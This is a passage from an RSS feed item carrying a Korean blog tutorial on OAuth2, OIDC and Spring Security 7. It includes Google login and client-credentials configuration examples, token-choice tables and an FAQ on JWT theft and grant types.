            &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;oauth2Login&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Customizer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;withDefaults&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;());&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;동작:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;사용자가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/oauth2/authorization/google&lt;/code&gt; 접속&lt;/li&gt;
  &lt;li&gt;구글 로그인 페이지로 리다이렉트&lt;/li&gt;
  &lt;li&gt;로그인 후 우리 서비스로 돌아옴&lt;/li&gt;
  &lt;li&gt;Spring Security가 자동으로 세션 생성&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;3-client-credentials-서버-간-통신&quot;&gt;3. Client Credentials (서버 간 통신)&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;상황:&lt;/strong&gt; 내 백엔드 서버에서 다른 회사 API를 주기적으로 호출해야 해요.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;설정 (application.yml):&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;spring&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;security&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;oauth2&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;registration&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;partner-api&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;client-id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-app-id&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;client-secret&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;my-secret&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;authorization-grant-type&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;client_credentials&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;scope&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;api:read&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;provider&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;na&quot;&gt;partner-api&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;token-uri&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;https://partner.com/oauth/token&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;사용 코드:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nd&quot;&gt;@Service&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;PartnerApiService&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    
    &lt;span class=&quot;kd&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;final&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;RestClient&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;restClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;PartnerApiService&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;RestClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;Builder&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;builder&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;restClient&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;builder&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;requestInterceptor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;OAuth2ClientHttpRequestInterceptor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;())&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;build&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    
    &lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getData&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// 토큰이 자동으로 헤더에 추가됨&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;restClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;uri&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://partner.com/api/data&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;retrieve&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;-핵심-정리&quot;&gt;🎓 핵심 정리&lt;/h1&gt;

&lt;h3 id=&quot;oauth2-vs-oidc-선택-가이드&quot;&gt;OAuth2 vs OIDC 선택 가이드&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;목적&lt;/th&gt;
      &lt;th&gt;사용&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;사용자 로그인 기능&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;OIDC&lt;/strong&gt; (OAuth2 + openid scope)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;제3자 API 호출 권한&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;OAuth2&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;사용자 정보 필요&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;OIDC&lt;/strong&gt; (ID Token 사용)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;서버 간 통신&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;OAuth2&lt;/strong&gt; (Client Credentials)&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;토큰-선택-가이드&quot;&gt;토큰 선택 가이드&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;상황&lt;/th&gt;
      &lt;th&gt;추천&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;마이크로서비스 환경&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;JWT&lt;/strong&gt; (빠르고 독립적)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;엄격한 보안 필요&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;Opaque Token&lt;/strong&gt; (즉시 취소 가능)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;외부 API 연동&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;상대방이 정한 방식 따르기&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;spring-security-7-특징&quot;&gt;Spring Security 7 특징&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Bean 중심 설정:&lt;/strong&gt; 필요한 기능을 Bean으로 등록하면 자동 감지&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;간소화된 코드:&lt;/strong&gt; 기본 설정만으로도 대부분 동작&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;RestClient 지원:&lt;/strong&gt; 동기 방식 HTTP 클라이언트 공식 지원&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;-자주-묻는-질문&quot;&gt;❓ 자주 묻는 질문&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Q: JWT가 탈취당하면 어떻게 하나요?&lt;/strong&gt;&lt;br /&gt;
A: JWT는 만료 전까지 취소가 어렵습니다. 그래서 유효기간을 짧게 (1시간 이하) 설정하고, Refresh Token으로 자주 갱신하는 방식을 사용합니다. JWT 탈취가 걱정된다면, Refresh Token을 한 번만 사용 가능하게 만드는 ‘Refresh Token Rotation’ 기법을 사용하면 더욱 안전합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: ID Token으로 API를 호출해도 되나요?&lt;/strong&gt;&lt;br /&gt;
A: 안 됩니다. ID Token은 “로그인한 사용자 정보 확인”용입니다. API 호출은 반드시 Access Token을 사용하세요.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: OAuth2 없이 JWT만 쓰면 안 되나요?&lt;/strong&gt;&lt;br /&gt;
A: 가능하지만, OAuth2를 쓰면 토큰 발급/갱신/취소 등의 표준 방식을 제공받아 더 안전하고 편리합니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: 어떤 Grant Type을 써야 하나요?&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;웹/모바일 로그인 → &lt;strong&gt;Authorization Code&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;서버 간 통신 → &lt;strong&gt;Client Credentials&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;기타 방식은 보안 이슈가 있어 비추천&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;-마무리&quot;&gt;🚀 마무리&lt;/h1&gt;

&lt;p&gt;OAuth2와 OIDC는 처음엔 복잡해 보이지만, 핵심은 간단합니다:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;비밀번호를 직접 주고받지 않기&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;필요한 권한만 제한적으로 주기&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;언제든지 권한을 취소할 수 있게 하기&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Spring Security 7은 이 모든 과정을 최대한 자동화해서, 개발자는 비즈니스 로직에만 집중할 수 있게 도와줍니다.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;시작 팁:&lt;/strong&gt; 먼저 Google OAuth2로 로그인 기능을 만들어보세요. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spring-boot-starter-oauth2-client&lt;/code&gt;만 추가하고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client-id&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client-secret&lt;/code&gt;만 설정하면 바로 작동합니다!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;

&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 05 Jan 2026 15:00:00 +0900</pubDate>
        <link>http://thecodinglog.github.io/spring/security/2026/01/05/easy-oauth2.html</link>
        <guid isPermaLink="true">http://thecodinglog.github.io/spring/security/2026/01/05/easy-oauth2.html</guid>
        
        <category>Spring</category>
        
        <category>Security</category>
        
        <category>OAuth2</category>
        
        
        <category>Spring</category>
        
        <category>Security</category>
        
      </item>
    
  </channel>
</rss>
